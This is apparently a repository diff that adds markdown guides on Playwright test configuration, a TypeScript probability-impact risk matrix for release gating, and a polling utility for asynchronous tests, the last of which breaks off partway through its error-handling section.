- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
- CI environments may need longer timeouts (handle in environment-specific config)
### Example 3: Artifact Output Configuration
**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
**Implementation**:
```typescript
// playwright.config.ts - Artifact configuration
import { defineConfig } from '@playwright/test';
import path from 'path';
export default defineConfig({
// Output directory for test artifacts
outputDir: path.resolve(__dirname, './test-results'),
use: {
// Screenshot on failure only (saves space)
screenshot: 'only-on-failure',
// Video recording on failure + retry
video: 'retain-on-failure',
// Trace recording on first retry (best debugging data)
trace: 'on-first-retry',
},
reporter: [
// HTML report (visual, interactive)
[
'html',
{
outputFolder: 'playwright-report',
open: 'never', // Don't auto-open in CI
},
],
// JUnit XML (CI integration)
[
'junit',
{
outputFile: 'test-results/results.xml',
},
],
// List reporter (console output)
['list'],
],
});
```
```typescript
// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
import { test as base } from '@playwright/test';
import fs from 'fs';
import path from 'path';
export const test = base.extend({
// Auto-capture console logs on failure
page: async ({ page }, use, testInfo) => {
const logs: string[] = [];
page.on('console', (msg) => {
logs.push(`[${msg.type()}] ${msg.text()}`);
});
await use(page);
// Save logs on failure
if (testInfo.status !== testInfo.expectedStatus) {
const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
fs.writeFileSync(logsPath, logs.join('\n'));
testInfo.attachments.push({
name: 'console-logs',
contentType: 'text/plain',
path: logsPath,
});
}
},
});
```
```yaml
# .github/workflows/e2e.yml - CI artifact upload
name: E2E Tests
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
- name: Install dependencies
run: npm ci
- name: Install Playwright browsers
run: npx playwright install --with-deps
- name: Run tests
run: npm run test
env:
TEST_ENV: staging
# Upload test artifacts on failure
- name: Upload test results
if: failure()
uses: actions/upload-artifact@v4
with:
name: test-results
path: test-results/
retention-days: 30
- name: Upload Playwright report
if: failure()
uses: actions/upload-artifact@v4
with:
name: playwright-report
path: playwright-report/
retention-days: 30
```
```typescript
// Example: Custom screenshot on specific condition
test('capture screenshot on specific error', async ({ page }) => {
await page.goto('/checkout');
try {
await page.click('[data-testid="submit-payment"]');
await expect(page.getByText('Order Confirmed')).toBeVisible();
} catch (error) {
// Capture custom screenshot with timestamp
await page.screenshot({
path: `test-results/payment-error-${Date.now()}.png`,
fullPage: true,
});
throw error;
}
});
```
**Key Points**:
- `screenshot: 'only-on-failure'` saves space (not every test)
- `video: 'retain-on-failure'` captures full flow on failures
- `trace: 'on-first-retry'` provides deep debugging data (network, DOM, console)
- HTML report at `playwright-report/` (visual debugging)
- JUnit XML at `test-results/results.xml` (CI integration)
- CI uploads artifacts on failure with 30-day retention
- Custom fixture can capture console logs, network logs, etc.
### Example 4: Parallelization Configuration
**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
**Implementation**:
```typescript
// playwright.config.ts - Parallelization settings
import { defineConfig } from '@playwright/test';
import os from 'os';
export default defineConfig({
// Run tests in parallel within single file
fullyParallel: true,
// Worker configuration
workers: process.env.CI
? 1 // Serial in CI for stability (or 2 for faster CI)
: os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
// Prevent accidentally committed .only() from blocking CI
forbidOnly: !!process.env.CI,
// Retry failed tests in CI
retries: process.env.CI ? 2 : 0,
// Shard configuration (split tests across multiple machines)
shard:
process.env.SHARD_INDEX && process.env.SHARD_TOTAL
? {
current: parseInt(process.env.SHARD_INDEX, 10),
total: parseInt(process.env.SHARD_TOTAL, 10),
}
: undefined,
});
```
```yaml
# .github/workflows/e2e-parallel.yml - Sharded CI execution
name: E2E Tests (Parallel)
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4] # Split tests across 4 machines
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
- name: Install dependencies
run: npm ci
- name: Install Playwright browsers
run: npx playwright install --with-deps
- name: Run tests (shard ${{ matrix.shard }})
run: npm run test
env:
SHARD_INDEX: ${{ matrix.shard }}
SHARD_TOTAL: 4
TEST_ENV: staging
- name: Upload test results
if: failure()
uses: actions/upload-artifact@v4
with:
name: test-results-shard-${{ matrix.shard }}
path: test-results/
```
```typescript
// playwright/config/serial.config.ts - Serial execution for flaky tests
import { defineConfig } from '@playwright/test';
import { baseConfig } from './base.config';
export default defineConfig({
...baseConfig,
// Disable parallel execution
fullyParallel: false,
workers: 1,
// Used for: authentication flows, database-dependent tests, feature flag tests
});
```
```typescript
// Usage: Force serial execution for specific tests
import { test } from '@playwright/test';
// Serial execution for auth tests (shared session state)
test.describe.configure({ mode: 'serial' });
test.describe('Authentication Flow', () => {
test('user can log in', async ({ page }) => {
// First test in serial block
});
test('user can access dashboard', async ({ page }) => {
// Depends on previous test (serial)
});
});
```
```typescript
// Usage: Parallel execution for independent tests (default)
import { test } from '@playwright/test';
test.describe('Product Catalog', () => {
test('can view product 1', async ({ page }) => {
// Runs in parallel with other tests
});
test('can view product 2', async ({ page }) => {
// Runs in parallel with other tests
});
});
```
**Key Points**:
- `fullyParallel: true` enables parallel execution within single test file
- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
- `test.describe.configure({ mode: 'serial' })` for dependent tests
- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
- Matrix strategy in CI runs shards concurrently
### Example 5: Project Configuration
**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
**Implementation**:
```typescript
// playwright.config.ts - Multiple browser projects
import { defineConfig, devices } from '@playwright/test';
export default defineConfig({
projects: [
// Desktop browsers
{
name: 'chromium',
use: { ...devices['Desktop Chrome'] },
},
{
name: 'firefox',
use: { ...devices['Desktop Firefox'] },
},
{
name: 'webkit',
use: { ...devices['Desktop Safari'] },
},
// Mobile browsers
{
name: 'mobile-chrome',
use: { ...devices['Pixel 5'] },
},
{
name: 'mobile-safari',
use: { ...devices['iPhone 13'] },
},
// Tablet
{
name: 'tablet',
use: { ...devices['iPad Pro'] },
},
],
});
```
```typescript
// playwright.config.ts - Authenticated vs. unauthenticated projects
import { defineConfig } from '@playwright/test';
import path from 'path';
export default defineConfig({
projects: [
// Setup project (runs first, creates auth state)
{
name: 'setup',
testMatch: /global-setup\.ts/,
},
// Authenticated tests (reuse auth state)
{
name: 'authenticated',
dependencies: ['setup'],
use: {
storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
},
testMatch: /.*authenticated\.spec\.ts/,
},
// Unauthenticated tests (public pages)
{
name: 'unauthenticated',
testMatch: /.*unauthenticated\.spec\.ts/,
},
],
});
```
```typescript
// playwright/support/global-setup.ts - Setup project for auth
import { chromium, FullConfig } from '@playwright/test';
import path from 'path';
async function globalSetup(config: FullConfig) {
const browser = await chromium.launch();
const page = await browser.newPage();
// Perform authentication
await page.goto('http://localhost:3000/login');
await page.fill('[data-testid="email"]', 'test@example.com');
await page.fill('[data-testid="password"]', 'password123');
await page.click('[data-testid="login-button"]');
// Wait for authentication to complete
await page.waitForURL('**/dashboard');
// Save authentication state
await page.context().storageState({
path: path.resolve(__dirname, '../.auth/user.json'),
});
await browser.close();
}
export default globalSetup;
```
```bash
# Run specific project
npx playwright test --project=chromium
npx playwright test --project=mobile-chrome
npx playwright test --project=authenticated
# Run multiple projects
npx playwright test --project=chromium --project=firefox
# Run all projects (default)
npx playwright test
```
```typescript
// Usage: Project-specific test
import { test, expect } from '@playwright/test';
test('mobile navigation works', async ({ page, isMobile }) => {
await page.goto('/');
if (isMobile) {
// Open mobile menu
await page.click('[data-testid="hamburger-menu"]');
}
await page.click('[data-testid="products-link"]');
await expect(page).toHaveURL(/.*products/);
});
```
```yaml
# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
name: E2E Tests (Cross-Browser)
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
project: [chromium, firefox, webkit, mobile-chrome]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- run: npm ci
- run: npx playwright install --with-deps
- name: Run tests (${{ matrix.project }})
run: npx playwright test --project=${{ matrix.project }}
```
**Key Points**:
- Projects enable testing across browsers, devices, and configurations
- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
- `dependencies` ensures setup project runs first (auth, data seeding)
- `storageState` shares authentication across tests (0 seconds auth per test)
- `testMatch` filters which tests run in which project
- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
- `isMobile` context property for conditional logic in tests
## Integration Points
- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
- **Related fragments**:
- `fixture-architecture.md` - Fixture-based timeout overrides
- `ci-burn-in.md` - CI pipeline artifact upload
- `test-quality.md` - Timeout standards (no hard waits)
- `data-factories.md` - Per-test isolation (no shared global state)
## Configuration Checklist
**Before deploying tests, verify**:
- [ ] Environment config map with fail-fast validation
- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
- [ ] Artifact storage at `test-results/` and `playwright-report/`
- [ ] HTML + JUnit reporters configured
- [ ] `.env.example`, `.nvmrc`, browser versions committed
- [ ] Parallelization configured (workers, sharding)
- [ ] Projects defined for cross-browser/device testing (if needed)
- [ ] CI uploads artifacts on failure with 30-day retention
_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._

View File

@@ -0,0 +1,601 @@
# Probability and Impact Scale
## Principle
Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
## Rationale
**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
**Why This Matters**:
- Consistent risk language across product, engineering, and QA
- Objective prioritization of test scenarios (not politics)
- Automatic gate decisions (score=9 → FAIL until resolved)
- Audit trail for compliance and retrospectives
## Pattern Examples
### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
**Context**: Implement a reusable risk scoring system with automatic threshold classification
**Implementation**:
```typescript
// src/testing/risk-matrix.ts
/**
* Probability levels:
* 1 = Unlikely (standard implementation, low uncertainty)
* 2 = Possible (edge cases or partial unknowns)
* 3 = Likely (known issues, new integrations, high ambiguity)
*/
export type Probability = 1 | 2 | 3;
/**
* Impact levels:
* 1 = Minor (cosmetic issues or easy workarounds)
* 2 = Degraded (partial feature loss or manual workaround)
* 3 = Critical (blockers, data/security/regulatory exposure)
*/
export type Impact = 1 | 2 | 3;
/**
* Risk score (probability × impact): 1-9
*/
export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
/**
* Action categories based on risk score thresholds
*/
export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
export type RiskAssessment = {
probability: Probability;
impact: Impact;
score: RiskScore;
action: RiskAction;
reasoning: string;
};
/**
* Calculate risk score: probability × impact
*/
export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
return (probability * impact) as RiskScore;
}
/**
* Classify risk action based on score thresholds:
* - 1-3: DOCUMENT (awareness only)
* - 4-5: MONITOR (watch closely, plan mitigations)
* - 6-8: MITIGATE (CONCERNS at gate until mitigated)
* - 9: BLOCK (automatic FAIL until resolved or waived)
*/
export function classifyRiskAction(score: RiskScore): RiskAction {
if (score >= 9) return 'BLOCK';
if (score >= 6) return 'MITIGATE';
if (score >= 4) return 'MONITOR';
return 'DOCUMENT';
}
/**
* Full risk assessment with automatic classification
*/
export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
const { probability, impact, reasoning } = params;
const score = calculateRiskScore(probability, impact);
const action = classifyRiskAction(score);
return { probability, impact, score, action, reasoning };
}
/**
* Generate risk matrix visualization (3x3 grid)
* Returns markdown table with color-coded scores
*/
export function generateRiskMatrix(): string {
const matrix: string[][] = [];
const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
matrix.push(header);
const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
for (let impact = 3; impact >= 1; impact--) {
const row = [impactLabels[3 - impact]];
for (let probability = 1; probability <= 3; probability++) {
const score = calculateRiskScore(probability as Probability, impact as Impact);
const action = classifyRiskAction(score);
const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
row.push(`${emoji} ${score}`);
}
matrix.push(row);
}
return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
}
```
**Key Points**:
- Type-safe probability/impact (1-3 enforced at compile time)
- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
- Visual matrix generation for documentation
- Risk score formula: `probability * impact` (max = 9)
- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
---
### Example 2: Risk Assessment Workflow (Test Planning Integration)
**Context**: Apply risk matrix during test design to prioritize scenarios
**Implementation**:
```typescript
// tests/e2e/test-planning/risk-assessment.ts
import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
export type TestScenario = {
id: string;
title: string;
feature: string;
risk: RiskAssessment;
testLevel: 'E2E' | 'API' | 'Unit';
priority: 'P0' | 'P1' | 'P2' | 'P3';
owner: string;
};
/**
* Assess test scenarios and auto-assign priority based on risk score
*/
export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
return scenarios.map((scenario) => {
// Auto-assign priority based on risk score
const priority = mapRiskToPriority(scenario.risk.score);
return { ...scenario, priority };
});
}
/**
* Map risk score to test priority (P0-P3)
* P0: Critical (score 9) - blocks release
* P1: High (score 6-8) - must fix before release
* P2: Medium (score 4-5) - fix if time permits
* P3: Low (score 1-3) - document and defer
*/
function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
if (score === 9) return 'P0';
if (score >= 6) return 'P1';
if (score >= 4) return 'P2';
return 'P3';
}
/**
* Example: Payment flow risk assessment
*/
export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
{
id: 'PAY-001',
title: 'Valid credit card payment completes successfully',
feature: 'Checkout',
risk: assessRisk({
probability: 2, // Possible (standard Stripe integration)
impact: 3, // Critical (revenue loss if broken)
reasoning: 'Core revenue flow, but Stripe is well-tested',
}),
testLevel: 'E2E',
owner: 'qa-team',
},
{
id: 'PAY-002',
title: 'Expired credit card shows user-friendly error',
feature: 'Checkout',
risk: assessRisk({
probability: 3, // Likely (edge case handling often buggy)
impact: 2, // Degraded (users see error, but can retry)
reasoning: 'Error handling logic is custom and complex',
}),
testLevel: 'E2E',
owner: 'qa-team',
},
{
id: 'PAY-003',
title: 'Payment confirmation email formatting is correct',
feature: 'Email',
risk: assessRisk({
probability: 2, // Possible (template changes occasionally break)
impact: 1, // Minor (cosmetic issue, email still sent)
reasoning: 'Non-blocking, users get email regardless',
}),
testLevel: 'Unit',
owner: 'dev-team',
},
{
id: 'PAY-004',
title: 'Payment fails gracefully when Stripe is down',
feature: 'Checkout',
risk: assessRisk({
probability: 1, // Unlikely (Stripe has 99.99% uptime)
impact: 3, // Critical (complete checkout failure)
reasoning: 'Rare but catastrophic, requires retry mechanism',
}),
testLevel: 'API',
owner: 'qa-team',
},
];
/**
* Generate risk assessment report with priority distribution
*/
export function generateRiskReport(scenarios: TestScenario[]): string {
const priorityCounts = scenarios.reduce(
(acc, s) => {
acc[s.priority] = (acc[s.priority] || 0) + 1;
return acc;
},
{} as Record<string, number>,
);
const actionCounts = scenarios.reduce(
(acc, s) => {
acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
return acc;
},
{} as Record<string, number>,
);
return `
# Risk Assessment Report
## Risk Matrix
${generateRiskMatrix()}
## Priority Distribution
- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
## Action Required
- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
## Scenarios by Risk Score (Highest First)
${scenarios
.sort((a, b) => b.risk.score - a.risk.score)
.map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
.join('\n')}
`.trim();
}
```
**Key Points**:
- Risk score → Priority mapping (P0-P3 automated)
- Report generation with priority/action distribution
- Scenarios sorted by risk score (highest first)
- Visual matrix included in reports
- Reusable across projects (extract to shared library)
---
### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
**Implementation**:
```typescript
// src/testing/risk-tracking.ts
import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
export type RiskHistory = {
timestamp: Date;
assessment: RiskAssessment;
changedBy: string;
reason: string;
};
export type TrackedRisk = {
id: string;
title: string;
feature: string;
currentRisk: RiskAssessment;
history: RiskHistory[];
mitigations: string[];
status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
};
export class RiskTracker {
private risks: Map<string, TrackedRisk> = new Map();
/**
* Add new risk to tracker
*/
addRisk(params: {
id: string;
title: string;
feature: string;
probability: Probability;
impact: Impact;
reasoning: string;
changedBy: string;
}): TrackedRisk {
const { id, title, feature, probability, impact, reasoning, changedBy } = params;
const assessment = assessRisk({ probability, impact, reasoning });
const risk: TrackedRisk = {
id,
title,
feature,
currentRisk: assessment,
history: [
{
timestamp: new Date(),
assessment,
changedBy,
reason: 'Initial assessment',
},
],
mitigations: [],
status: 'OPEN',
};
this.risks.set(id, risk);
return risk;
}
/**
* Reassess risk (probability or impact changed)
*/
reassessRisk(params: {
id: string;
probability?: Probability;
impact?: Impact;
reasoning: string;
changedBy: string;
}): TrackedRisk | null {
const { id, probability, impact, reasoning, changedBy } = params;
const risk = this.risks.get(id);
if (!risk) return null;
// Use existing values if not provided
const newProbability = probability ?? risk.currentRisk.probability;
const newImpact = impact ?? risk.currentRisk.impact;
const newAssessment = assessRisk({
probability: newProbability,
impact: newImpact,
reasoning,
});
risk.currentRisk = newAssessment;
risk.history.push({
timestamp: new Date(),
assessment: newAssessment,
changedBy,
reason: reasoning,
});
this.risks.set(id, risk);
return risk;
}
/**
* Mark risk as mitigated (probability reduced)
*/
mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
const { id, newProbability, mitigation, changedBy } = params;
const risk = this.reassessRisk({
id,
probability: newProbability,
reasoning: `Mitigation implemented: ${mitigation}`,
changedBy,
});
if (risk) {
risk.mitigations.push(mitigation);
if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
risk.status = 'MITIGATED';
}
}
return risk;
}
/**
* Get risks requiring action (MITIGATE or BLOCK)
*/
getRisksRequiringAction(): TrackedRisk[] {
return Array.from(this.risks.values()).filter(
(r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
);
}
/**
* Generate risk trend report (show changes over time)
*/
generateTrendReport(riskId: string): string | null {
const risk = this.risks.get(riskId);
if (!risk) return null;
return `
# Risk Trend Report: ${risk.id}
**Title**: ${risk.title}
**Feature**: ${risk.feature}
**Status**: ${risk.status}
## Current Assessment
- **Probability**: ${risk.currentRisk.probability}
- **Impact**: ${risk.currentRisk.impact}
- **Score**: ${risk.currentRisk.score}
- **Action**: ${risk.currentRisk.action}
- **Reasoning**: ${risk.currentRisk.reasoning}
## Mitigations Applied
${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
## History (${risk.history.length} changes)
${risk.history
.reverse()
.map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
.join('\n')}
`.trim();
}
}
```
**Key Points**:
- Historical tracking (audit trail for risk changes)
- Mitigation impact tracking (probability reduction)
- Status lifecycle (OPEN → MITIGATED → RESOLVED)
- Trend reports (show risk evolution over time)
- Re-assessment triggers (requirements change, new info)
---
### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
**Implementation**:
```typescript
// src/testing/gate-decision.ts
import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
import { type TrackedRisk } from './risk-tracking';
export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
export type GateResult = {
decision: GateDecision;
blockers: TrackedRisk[]; // Score=9, action=BLOCK
concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
summary: string;
};
/**
* Evaluate gate based on risk assessments
*/
export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
let decision: GateDecision;
if (blockers.length > 0) {
decision = 'FAIL';
} else if (concerns.length > 0) {
decision = 'CONCERNS';
} else {
decision = 'PASS';
}
const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
return { decision, blockers, concerns, monitored, documented, summary };
}
/**
* Generate gate decision summary
*/
function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
const { decision, blockers, concerns, monitored, documented } = result;
const lines: string[] = [`## Gate Decision: ${decision}`];
if (decision === 'FAIL') {
lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
blockers.forEach((r) => {
lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
lines.push(` - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
lines.push(` - Reasoning: ${r.currentRisk.reasoning}`);
});
}
if (concerns.length > 0) {
lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
concerns.forEach((r) => {
lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
lines.push(` - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
});
}
if (monitored.length > 0) {
lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
}
if (documented.length > 0) {
lines.push(`\n**Documented** (${documented.length}): Awareness only`);
}
lines.push(`\n---\n`);
lines.push(`**Next Steps**:`);
if (decision === 'FAIL') {
lines.push(`- Resolve blockers or request formal waiver`);
} else if (decision === 'CONCERNS') {
lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
lines.push(`- Re-run gate after mitigations`);
} else {
lines.push(`- Proceed with release`);
}
return lines.join('\n');
}
```
**Key Points**:
- Gate decision driven by risk scores (not gut feeling)
- Automatic FAIL for score=9 (blockers)
- CONCERNS for score 6-8 (requires mitigation)
- PASS only when no blockers/concerns
- Actionable summary with next steps
- Integration with trace workflow (Phase 2)
---
## Probability-Impact Threshold Summary
| Score | Action | Gate Impact | Typical Use Case |
| ----- | -------- | -------------------- | -------------------------------------- |
| 1-3 | DOCUMENT | None | Cosmetic issues, low-priority bugs |
| 4-5 | MONITOR | None (watch closely) | Edge cases, partial unknowns |
| 6-8 | MITIGATE | CONCERNS at gate | High-impact scenarios needing coverage |
| 9 | BLOCK | Automatic FAIL | Critical blockers, must resolve |
## Risk Assessment Checklist
Before deploying risk matrix:
- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
## Integration Points
- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_

View File

@@ -0,0 +1,421 @@
# Recurse (Polling) Utility
## Principle
Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
## Rationale
Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
- Vanilla `expect.poll` is verbose
- No built-in logging for debugging
- Generic timeout errors
- No post-poll hooks
The `recurse` utility provides:
- **Clean syntax**: Inspired by cypress-recurse
- **Enhanced errors**: Timeout vs command failure vs predicate errors
- **Built-in logging**: Track polling progress
- **Post-poll callbacks**: Process results after success
- **Type-safe**: Full TypeScript generic support
## Quick Start
```typescript
import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
test('wait for job completion', async ({ recurse, apiRequest }) => {
const { body } = await apiRequest({
method: 'POST',
path: '/api/jobs',
body: { type: 'export' },
});
// Poll until job completes
const result = await recurse(
() => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
(response) => response.body.status === 'completed',
{ timeout: 60000 },
);
expect(result.body.downloadUrl).toBeDefined();
});
```
## Pattern Examples
### Example 1: Basic Polling
**Context**: Wait for async operation to complete with custom timeout and interval.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
test('should wait for job completion', async ({ recurse, apiRequest }) => {
// Start job
const { body } = await apiRequest({
method: 'POST',
path: '/api/jobs',
body: { type: 'export' },
});
// Poll until ready
const result = await recurse(
() => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
(response) => response.body.status === 'completed',
{
timeout: 60000, // 60 seconds max
interval: 2000, // Check every 2 seconds
log: 'Waiting for export job to complete',
},
);
expect(result.body.downloadUrl).toBeDefined();
});
```
**Key Points**:
- First arg: command function (what to execute)
- Second arg: predicate function (when to stop)
- Options: timeout, interval, log message
- Returns the value when predicate returns true
### Example 2: Working with Assertions
**Context**: Use assertions directly in predicate for more expressive tests.
**Implementation**:
```typescript
test('should poll with assertions', async ({ recurse, apiRequest }) => {
await apiRequest({
method: 'POST',
path: '/api/events',
body: { type: 'user-created', userId: '123' },
});
// Poll with assertions in predicate - no return true needed!
await recurse(
async () => {
const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
return body;
},
(event) => {
// If all assertions pass, predicate succeeds
expect(event.processed).toBe(true);
expect(event.timestamp).toBeDefined();
// No need to return true - just let assertions pass
},
{ timeout: 30000 },
);
});
```
**Why no `return true` needed?**
The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
The utility handles this by checking if:
1. The predicate didn't throw (assertions passed)
2. The return value was either `undefined` (implicit return) or truthy
So you can:
```typescript
// Option 1: Use assertions only (recommended)
(event) => {
expect(event.processed).toBe(true);
};
// Option 2: Return boolean (also works)
(event) => event.processed === true;
// Option 3: Mixed (assertions + explicit return)
(event) => {
expect(event.processed).toBe(true);
return true;
};
```
### Example 3: Error Handling
**Context**: Understanding the different error types.
**Error Types:**
```typescript
// RecurseTimeoutError - Predicate never returned true within timeout
// Contains last command value and predicate error
try {
await recurse(/* ... */);
} catch (error) {
if (error instanceof RecurseTimeoutError) {
console.log('Timed out. Last value:', error.lastCommandValue);
console.log('Last predicate error:', error.lastPredicateError);
}
}
// RecurseCommandError - Command function threw an error
// The command itself failed (e.g., network error, API error)
// RecursePredicateError - Predicate function threw (not from assertions failing)
// Logic error in your predicate code
```
**Custom Error Messages:**
```typescript
test('custom error on timeout', async ({ recurse, apiRequest }) => {
try {
await recurse(
() => apiRequest({ method: 'GET', path: '/api/status' }),
(res) => res.body.ready === true,
{
timeout: 10000,
error: 'System failed to become ready within 10 seconds - check background workers',
},
);
} catch (error) {
// Error message includes custom context
expect(error.message).toContain('check background workers');
throw error;
}
});
```
